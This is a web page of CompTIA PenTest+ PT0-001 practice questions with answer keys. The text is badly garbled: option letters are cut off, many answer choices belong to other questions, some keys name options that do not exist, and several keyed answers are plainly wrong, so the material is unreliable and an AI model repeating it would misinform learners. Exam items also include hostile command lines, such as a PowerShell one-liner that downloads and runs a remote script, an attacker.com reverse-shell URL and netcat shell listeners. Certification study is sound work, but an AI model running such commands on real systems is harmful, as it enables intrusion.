Latest CompTIA PenTest+ PT0-001 Exam Questions for Effective Preparation

Question #1

Which of the following properties of the penetration testing engagement agreement will have the LARGEST impact on observing and testing production systems at their highest loads?

A. Creating a scope of the critical production systems

B. Setting a schedule of testing access times

C. Establishing a white-box testing engagement

D. Having management sign off on intrusive testing

View answer

Correct Answer: B

Question #2

In which of the following scenarios would a tester perform a Kerberoasting attack?

A. The tester has compromised a Windows device and dumps the LSA secrets

B. The tester needs to retrieve the SAM database and crack the password hashes

C. The tester has compromised a limited-privilege user and needs to target other accounts for lateral movement

D. The tester has compromised an account and needs to dump hashes and plaintext passwords from the system

View answer

Correct Answer: C

Question #3

A penetration tester is preparing to conduct API testing. Which of the following would be MOST helpful in preparing for this engagement?

A. ikto

B. AR

C. 3AF

D. wagger

View answer

Correct Answer: D

Question #4

After several attempts, an attacker was able to gain unauthorized access through a biometrics sensor using the attacker’s actual fingerprint without exploitation. Which of the following is the MOST likely explanation of what happened?

A. he biometric device is tuned more toward false positives

B. he biometric device is configured more toward true negatives

C. he biometric device is set to fail closed

D. he biometric device duplicated a valid user’s fingerprint

View answer

Correct Answer: A

Question #5

A vulnerability scan identifies that an SSL certificate does not match the hostname; however, the client disputes the finding. Which of the following techniques can the penetration tester perform to adjudicate the validity of the findings?

A. nsure the scanner can make outbound DNS requests

B. nsure the scanner is configured to perform ARP resolution

C. nsure the scanner is configured to analyze IP hosts

D. nsure the scanner has the proper plug -ins loaded

View answer

Correct Answer: A

Question #6

In which of the following scenarios would a tester perform a Kerberoasting attack?

A. he tester has compromised a Windows device and dumps the LSA secrets

B. he tester needs to retrieve the SAM database and crack the password hashes

C. he tester has compromised a limited-privilege user and needs to target other accounts for lateral movement

D. he tester has compromised an account and needs to dump hashes and plaintext passwords from the system

View answer

Correct Answer: C

Question #7

A penetration tester has been asked to conduct OS fingering with Nmap using a company-provided text file that contains a list of IP addresses. Which of the following are needed to conduct this scan? (Choose two.).

A. irectory traversal

B. ross-site scripting

C. emote file inclusion

D. ser enumeration

View answer

Correct Answer: BE

Question #8

A security consultant is trying to attack a device with a previously identified user account.Which of the following types of attacks is being executed?

A. rpspoof -c both -r -t 192

B. rpspoof -t 192

C. rpspoof -c both -t 192

D. rpspoof -r -t 192

View answer

Correct Answer: D

Question #9

Given the following script:Which of the following BEST describes the purpose of this script?

A. og collection

B. vent collection

C. eystroke monitoring

D. ebug message collection

View answer

Correct Answer: C

Question #10

A company performed an annual penetration test of its environment. In addition to several new findings, all of the previously identified findings persisted on the latest report. Which of the following is the MOST likely reason?

A. nfrastructure is being replaced with similar hardware and software

B. ystems administrators are applying the wrong patches

C. he organization is not taking action to remediate identified findings

D. he penetration testing tools were misconfigured

View answer

Correct Answer: C

Question #11

A penetration tester has compromised a host. Which of the following would be the correct syntax to create a Netcat listener on the device?

A. c -lvp 4444 /bin/bash

B. c -vp 4444 /bin/bash

C. c -p 4444 /bin/bash

D. c -lp 4444 –e /bin/bash

View answer

Correct Answer: A

Question #12

While trying to maintain persistence on a Windows system with limited privileges, which of the following registry keys should the tester use?

A. HKEY_CLASSES_ROOT

B. HKEY_LOCAL_MACHINE

C. HKEY_CURRENT_USER

D. HKEY_CURRENT_CONFIG

View answer

Correct Answer: C

Question #13

A penetration tester observes that several high-numbered ports are listening on a public web server. However, the system owner says the application only uses port 443. Which of the following would be BEST to recommend?

A. ransition the application to another port

B. ilter port 443 to specific IP addresses

C. mplement a web application firewall

D. isable unneeded services

View answer

Correct Answer: D

Question #14

An assessor begins an internal security test of the Windows domain internal.comptia.net. The assessor is given network access via DHCP, but is not given any network maps or target IP addresses. Which of the following commands can the assessor use to find any likely Windows domain controllers?

A. se path modification to escape the application’s framework

B. reate a frame that overlays the application

C. nject a malicious iframe containing JavaScript

D. ass an iframe attribute that is malicious

View answer

Correct Answer: A

Question #15

During an internal network penetration test, a tester recovers the NTLM password hash for a user known to have full administrator privileges on a number of target systems. Efforts to crack the hash and recover the plaintext password have been unsuccessful.Which of the following would be the BEST target for continued exploitation efforts?

A. perating system: Windows 7Open ports: 23, 161

B. perating system: Windows Server 2016Open ports: 53, 5900

C. perating system: Windows 8

D. perating system: Windows 8Open ports: 514, 3389

View answer

Correct Answer: C

Question #16

A penetration tester has run multiple vulnerability scans against a target system. Which of the following would be unique to a credentialed scan?

A. xploits for vulnerabilities found

B. etailed service configurations

C. npatched third-party software

D. eak access control configurations

View answer

Correct Answer: A

Question #17

A company has engaged a penetration tester to perform an assessment for an application that resides in the company’s DMZ. Prior to conducting testing, in which of the following solutions should the penetration tester’s IP address be whitelisted?

A. AF

B. IDS

C. IDS

D. LP

View answer

Correct Answer: C

Question #18

A consultant wants to scan all the TCP ports on an identified device. Which of the following Nmap switches will complete this task?

A. p-

B. p ALL

C. p 1-65534

D. port 1-65534

View answer

Correct Answer: A

Question #19

SIMULATIONYou are a penetration tester running port scans on a server. INSTRUCTIONSPart1: Given the output, construct the command that was used to generate this output from the available options.Part2: Once the command is appropriately constructed, use the given output to identify the potential attack vectors that should be investigated further.If at any time you would like to bring back the initial state of the simulation, please click the Reset All button.Part1 Part2

A. ee Explanation section for answer

View answer

Correct Answer: A

Question #20

A penetration tester is performing a code review. Which of the following testing techniques is being performed?

A. ynamic analysis

B. uzzing analysis

C. tatic analysis

D. un-time analysis

View answer

Correct Answer: C

Question #21

After gaining initial low-privilege access to a Linux system, a penetration tester identifies an interesting binary in a user's home folder titled ’’changepass.”-sr-xr-x 1 root root 6443 Oct 18 2017 /home/user/changepassUsing “strings" to print ASCII printable characters from changepass, the tester notes the following:$ strings changepassexitsetuidstrcmpGLIBC_2.0ENV_PATH%s/changepwmallocstrlenGiven this information, which of the following is the MOST likely path of exploitation to achieve root privileges on

A. opy changepass to a writable directory and export the ENV_PATH environmental variable to the path of a token-stealing binary titled changepw

B. reate a copy of changepass in the same directory, naming it changepw

C. xport the ENV_PATH environmental variable to the path of a writable directory that contains a token- stealing binary titled changepw

D. un changepass within the current directory with sudo after exporting the ENV_PATH environmental variable to the path of '/usr/local/bin'

View answer

Correct Answer: D

Question #22

A healthcare organization must abide by local regulations to protect and attest to the protection of personal health information of covered individuals. Which of the following conditions should a penetration tester specifically test for when performing an assessment? (Select TWO).

A. argeting an executive with an SMS attack

B. argeting a specific team with an email attack

C. argeting random users with a USB key drop

D. argeting an organization with a watering hole attack

View answer

Correct Answer: DE

Question #23

Which of the following vulnerabilities are MOST likely to be false positives when reported by an automated scanner on a static HTML web page? (Choose two.)

A. nsecure service and protocol configuration

B. unning SMB and SMTP service

C. eak password complexity and user account

D. isconfiguration

View answer

Correct Answer: FG

Question #24

Consider the following PowerShell command:powershell.exe IEX (New-Object Net.Webclient).downloadstring(http://site/script.ps1”);Invoke-CmdletWhich of the following BEST describes the actions performed by this command?

A. et the execution policy

B. xecute a remote script

C. un an encoded command

D. nstantiate an object

View answer

Correct Answer: B

Question #25

After a recent penetration test, a company has a finding regarding the use of dictionary and seasonal passwords by its employees. Which of the following is the BEST control to remediate the use of common dictionary terms?

A. xpand the password length from seven to 14 characters

B. mplement password history restrictions

C. onfigure password filters/

D. isable the accounts after five incorrect attempts

E. ecrease the password expiration window

View answer

Correct Answer: A

Question #26

An attacker uses SET to make a copy of a company?€?s cloud-hosted web mail portal and sends an email in hopes the Chief Executive Officer (CEO) logs in to obtain the CEO?€?s login credentials. Which of the following types of attacks is this an example of?

A. Elicitation attack

B. Impersonation attack

C. Spear phishing attack

D. Drive-by download attack

View answer

Correct Answer: A

Question #27

While monitoring WAF logs, a security analyst discovers a successful attack against the following URL: https://example.com/index.php?Phone=http://attacker.com/badstuffhappens/revshell.phpWhich of the following remediation steps should be taken to prevent this type of attack?

A. mplement a blacklist

B. lock URL redirections

C. ouble URL encode the parameters

D. top external calls from the application

View answer

Correct Answer: B

Question #28

A software development team recently migrated to new application software on the on-premises environment. Penetration test findings show that multiple vulnerabilities exist. If a penetration tester does not have access to a live or test environment, a test might be better to create the same environment on the VM. Which of the following is MOST important for confirmation?

A. ashcat -m 5600 -r rules/bestG4

B. ashcat -m 5600 hash

C. ashcat -m 5600 -a 3 hash

D. ashcat -m 5600 -o results

View answer

Correct Answer: A

Question #29

A penetration tester is required to perform OSINT on staff at a target company after completing the infrastructure aspect. Which of the following would be the BEST step for penetration?

A. btain staff information by calling the company and using social engineering techniques

B. isit the client and use impersonation to obtain information from staff

C. end spoofed emails to staff to see if staff will respond with sensitive information

D. earch the internet for information on staff such as social networking sites

View answer

Correct Answer: D

Question #30

A penetration tester is performing initial intelligence gathering on some remote hosts prior to conducting a vulnerability scan.The tester runs the following command:nmap -D 192.168.1.1, 192.168.1.2, 192.168.1.3 -sV -o --max-rate 2 192.168.1.130Which of the following BEST describes why multiple IP addresses are specified?

A. he network is subnetted as a/25 or greater, and the tester needed to access hosts on two different subnets

B. he tester is trying to perform a more stealthy scan by including several bogus addresses

C. he scanning machine has several interfaces to balance the scan request across at the specified rate

D. discovery scan is run on the first set of addresses, whereas a deeper, more aggressive scan is run against the latter host

View answer

Correct Answer: B

Question #31

A penetration tester is attempting to capture a handshake between a client and an access point by monitoring a WPA2-PSK secured wireless network. The tester is monitoring the correct channel for the identified network, but has been unsuccessful in capturing a handshake. Given the scenario, which of the following attacks would BEST assist the tester in obtaining this handshake?

A. arma attack

B. eauthentication attack

C. ragmentation attack

D. SDI broadcast flood

View answer

Correct Answer: B

Question #32

A penetration tester reports an application is only utilizing basic authentication on an Internet-facing application. Which of the following would be the BEST remediation strategy?

A. nable HTTP Strict Transport Security

B. nable a secure cookie flag

C. ncrypt the communication channel

D. anitize invalid user input

View answer

Correct Answer: A

Question #33

A penetration tester has successfully exploited a vulnerability on an organization’s authentication server and now wants to set up a reverse shell. The penetration tester finds that Netcat is not available on the target.Which of the following approaches is a suitable option to attempt NEXT?

A. un xterm to connect to the X-server of the target

B. ttempt to escalate privileges to acquire an interactive shell

C. ry to use the /dev/tcp socket

D. ttempt to read out/etc/shadow

View answer

Correct Answer: C

Question #34

A penetration test was performed by an on-staff junior technician. During the test, the technician discovered the web application could disclose an SQL table with user account and password information. Which of the following is the MOST effective way to notify management of this finding and its importance?

A. ocument the findings with an executive summary, recommendations, and screenshots of the web application disclosure

B. onnect to the SQL server using this information and change the password to one or two non-critical accounts to demonstrate a proof--of-concept to management

C. otify the development team of the discovery and suggest that input validation be implemented with a professional penetration testing company

D. equest that management create an RFP to begin a formal engagement with a professional penetration testing company

View answer

Correct Answer: A

Question #35

DRAG DROPA manager calls upon a tester to assist with diagnosing an issue within the following Python script:#!/usr/bin/pythons = “Administrator”The tester suspects it is an issue with string slicing and manipulation. Analyze the following code segment and drag and drop the correct output for each string manipulation to its corresponding code segment. Options may be used once or not at all.Select and Place:

A. ee Explanation section for answer

View answer

Correct Answer: A

Question #36

A security analyst was provided with a detailed penetration report, which was performed against the organization's DMZ environment. It was noted on the report that a finding has a CVSS base score of 10.0. Which of the following levels of difficulty would be required to exploit this vulnerability?

A. ery difficult; perimeter systems are usually behind a firewall

B. omewhat difficult; would require significant processing power to exploit

C. rivial; little effort is required to exploit this finding

D. mpossible; external hosts are hardened to protect against attacks

View answer

Correct Answer: C

Question #37

Black box penetration testing strategy provides the tester with:

A. target list

B. network diagram

C. ource code

D. rivileged credentials

View answer

Correct Answer: D

Question #38

A penetration tester was able to retrieve the initial VPN user domain credentials by phishing a member of the IT department. Afterward, the penetration tester obtained hashes over the VPN and easily cracked them using a dictionary attack. Which of the following remediation steps should be recommended? (Select THREE).

A. ardware vendor

B. hannel interference

C. sernames

D. ey strength

View answer

Correct Answer: BCG

Question #39

Which of the following excerpts would come from a corporate policy?

A. Employee passwords must contain a minimum of eight characters, with one being alphanumeric

B. The help desk can be reached at 800-passwd1 to perform password resets

C. Employees must use strong passwords for accessing corporate assets

D. The corporate systems must store passwords using the MD5 hashing algorithm

View answer

Correct Answer: D

Question #40

A penetration tester has gained access to a marketing employee's device. The penetration tester wants to ensure that if the access is discovered, control of the device can be regained. Which of the following actions should the penetration tester use to maintain persistence to the device? (Select TWO.)

A. ydra

B. ohn the Ripper

C. ashcat

D. each

View answer

Correct Answer: AC

Question #41

Which of the following are MOST important when planning for an engagement? (Select TWO).

A. erforms a port scan

B. rabs the web server's banner

C. edirects a TTY to a remote system

D. emoves error logs for the supplied IP

View answer

Correct Answer: AC

Question #42

A penetration tester is performing a remote scan to determine if the server farm is compliant with the company's software baseline. Which of the following should the penetration tester perform to verify compliance with the baseline?

A. iscovery scan

B. tealth scan

C. ull scan

D. redentialed scan

View answer

Correct Answer: A

Question #43

A penetration tester delivers a web application vulnerability scan report to a client. The penetration tester rates a vulnerability as medium severity. The same vulnerability was reported as a critical severity finding on the previous report. Which of the following is the MOST likely reason for the reduced severity?

A. he client has applied a hot fix without updating the version

B. he threat landscape has significantly changed

C. he client has updated their codebase with new features

D. hera are currently no known exploits for this vulnerability

View answer

Correct Answer: A

Question #44

Joe, a penetration tester, is asked to assess a company’s physical security by gaining access to its corporate office. Joe is looking for a method that will enable him to enter the building during business hours or when there are no employees on-site. Which of the following would be the MOST effective in accomplishing this?

A. adge cloning

B. ock picking

C. ailgating

D. iggybacking

View answer

Correct Answer: A

Question #45

A penetration tester has performed a pivot to a new Linux device on a different network. The tester writes the following command:for m in {1..254..1};do ping -c 1 192.168.101.$m; doneWhich of the following BEST describes the result of running this command?

A. ort scan

B. ervice enumeration

C. ive host identification

D. enial of service

View answer

Correct Answer: C

Question #46

A consultant is performing a social engineering attack against a client. The consultant was able to collect a number of usernames and passwords using a phishing campaign. The consultant is given credentials to log on to various employees email accounts. Given the findings, which of the following should the consultant recommend be implemented?

A. trong password policy

B. assword encryption

C. mail system hardening

D. wo-factor authentication

View answer

Correct Answer: D

Question #47

Which of the following has a direct and significant impact on the budget of the security assessment?

A. coping

B. cheduling

C. ompliance requirement

D. arget risk

View answer

Correct Answer: D

Question #48

A penetration tester has performed a security assessment for a startup firm. The report lists a total of ten vulnerabilities, with five identified as critical. The client does not have the resources to immediately remediate all vulnerabilities. Under such circumstances, which of the following would be the BEST suggestion for the client?

A. o remove the persistence

B. o enable persistence

C. o report persistence

D. o check for persistence

View answer

Correct Answer: D

Question #49

A penetration tester delivers a web application vulnerability scan report to a client. The penetration tester rates a vulnerability as medium severity. The same vulnerability was reported as a critical severity finding on the previous report. Which of the following is the MOST likely reason for the reduced severity?

A. The client has applied a hot fix without updating the version

B. The threat landscape has significantly changed

C. The client has updated their codebase with new features

D. Thera are currently no known exploits for this vulnerability

View answer

Correct Answer: A

Question #50

A penetration tester has been assigned to perform an external penetration assessment of a company. Which of the following steps would BEST help with the passive-information-gathering process? (Choose two.)

A. cript kiddies

B. PT actors

C. nsider threats

D. acktivist groups

View answer

Correct Answer: DE

Question #51

A penetration tester was able to enter an SQL injection command into a text box and gain access to the information store on the database. Which of the following is the BEST recommendation that would mitigate the vulnerability?

A. andomize the credentials used to log in

B. nstall host-based intrusion detection

C. mplement input normalization

D. erform system hardening

View answer

Correct Answer: D

Question #52

Which of the following excerpts would come from a corporate policy?

A. mployee passwords must contain a minimum of eight characters, with one being alphanumeric

B. he help desk can be reached at 800-passwd1 to perform password resets

C. mployees must use strong passwords for accessing corporate assets

D. he corporate systems must store passwords using the MD5 hashing algorithm

View answer

Correct Answer: D

Question #53

A penetration tester is testing a banking application and uncovers a vulnerability. The tester is logged in as a non-privileged user who should have no access to any data. Given the data below from the web interception proxy:Which of the following types of vulnerabilities is being exploited?

A. orced browsing vulnerability

B. arameter pollution vulnerability

C. ile upload vulnerability

D. ookie enumeration

View answer

Correct Answer: D

Question #54

A malicious user wants to perform an MITM attack on a computer. The computer network configuration is given below:IP: 192.168.1.20NETMASK: 255.255.255.0DEFAULT GATEWAY: 192.168.1.254DHCP: 192.168.1.253DNS: 192.168.10.10, 192.168.20.10Which of the following commands should the malicious user execute to perform the MITM attack?

A. hitelisting prevents a possible inadvertent DoS attack against the IPS and supporting log-monitoring systems

B. enetration testing of third-party IPS systems often requires additional documentation and authorizations; potentially delaying the time-sensitive test

C. PS whitelisting rules require frequent updates to stay current, constantly developing vulnerabilities and newly discovered weaknesses

D. esting should focus on the discovery of possible security issues across all in-scope systems, not on determining the relative effectiveness of active defenses such as an IPS

View answer

Correct Answer: B

Question #55

A penetration tester has a full shell to a domain controller and wants to discover any user account that has not authenticated to the domain in 21 days. Which of the following commands would BEST accomplish this?

A. srm -users “DN=company

B. suser -name -account -limit 3

C. squery user -inactive 3

D. squery -o -rdn -limit 21

View answer

Correct Answer: D

Question #56

Which of the following types of intrusion techniques is the use of an “under-the-door tool” during a physical security assessment an example of?

A. isable the network port of the affected service

B. omplete all findings, and then submit them to the client

C. romptly alert the client with details of the finding

D. ake the target offline so it cannot be exploited by an attacker

View answer

Correct Answer: D

Question #57

A client asks a penetration tester to add more addresses to a test currently in progress. Which of the following would define the target list?

A. ules of engagement

B. ater services agreement

C. tatement of work

D. nd-user license agreement

View answer

Correct Answer: C

Question #58

A penetration tester successfully exploits a DMZ server that appears to be listening on an outbound port. The penetration tester wishes to forward that traffic back to a device. Which of the following are the BEST tools to use for this purpose? (Choose two.)

A. ig -q any _kerberos

B. ig -q any _lanman

C. ig -q any _ntlm

D. ig -q any _smtp

View answer

Correct Answer: BD

Question #59

A penetration tester has been asked to conduct OS fingering with Nmap using a company-provided text file that contains a list of IP addresses. Which of the following are needed to conduct this scan? (Choose two.)

A. un a zero-day exploit

B. reate a new domain user with a known password

C. odify a known boot time service to instantiate a call back

D. btain cleartext credentials of the compromised user

View answer

Correct Answer: AB

Question #60

A penetration tester identifies the following findings during an external vulnerability scan:Which of the following attack strategies should be prioritized from the scan results above?

A. ppendices

B. xecutive summary

C. echnical summary

D. ain body

View answer

Correct Answer: D

Question #61

Consumer-based IoT devices are often less secure than systems built for traditional desktop computers. Which of the following BEST describes the reasoning for this?

A. sfconsole

B. orkspace

C. sfvenom

D. b_init

E. b_connect

View answer

Correct Answer: A

Question #62

DRAG DROPPlace each of the following passwords in order of complexity from least complex (1) to most complex (4), based on the character sets represented. Each password may be used only once.Select and Place:

A. ee Explanation section for answer

View answer

Correct Answer: A

Question #63

A client has voiced concern about the number of companies being breached by remote attackers, who are looking for trade secrets. Which of the following BEST describes the type of adversaries this would identify?

A. un the application through a dynamic code analyzer

B. mploy a fuzzing utility

C. ecompile the application

D. heck memory allocations

View answer

Correct Answer: B

Question #64

An energy company contracted a security firm to perform a penetration test of a power plant, which employs ICS to manage power generation and cooling. Which of the following is a consideration unique to such an environment that must be made by the firm when preparing for the assessment?

A. election of the appropriate set of security testing tools

B. urrent and load ratings of the ICS components

C. otential operational and safety hazards

D. lectrical certification of hardware used in the test

View answer

Correct Answer: A

Question #65

A client has scheduled a wireless penetration test. Which of the following describes the scoping target information MOST likely needed before testing can begin?

A. he physical location and network ESSIDs to be tested

B. he number of wireless devices owned by the client

C. he client's preferred wireless access point vendor

D. he bands and frequencies used by the client's devices

View answer

Correct Answer: D

Question #66

Joe, a penetration tester, has received basic account credentials and logged into a Windows system. To escalate his privilege, from which of the following places is he using Mimikatz to pull credentials?

A. ID cycling to enumerate users and groups

B. ass the hash to relay credentials

C. assword brute forcing to log into the host

D. ession hijacking to impersonate a system account

View answer

Correct Answer: C

Question #67

After performing a security assessment for a firm, the client was found to have been billed for the time the client’s test environment was unavailable. The client claims to have been billed unfairly. Which of the following documents would MOST likely be able to provide guidance in such a situation?

A. dditional rate

B. ompany policy

C. mpact tolerance

D. ndustry type

View answer

Correct Answer: D

DON'T WANT TO MISS A THING?

100% Pass Cisco, PMP, CISA, CISM, AWS Practice test on SALE!
Get Now

Latest CompTIA PenTest+ PT0-001 Exam Questions for Effective Preparation

View Answers after Submission

DON'T WANT TO MISS A THING?

100% Pass Cisco, PMP, CISA, CISM, AWS Practice test on SALE! Get Now

Latest CompTIA PenTest+ PT0-001 Exam Questions for Effective Preparation

View Answers after Submission

100% Pass Cisco, PMP, CISA, CISM, AWS Practice test on SALE!
Get Now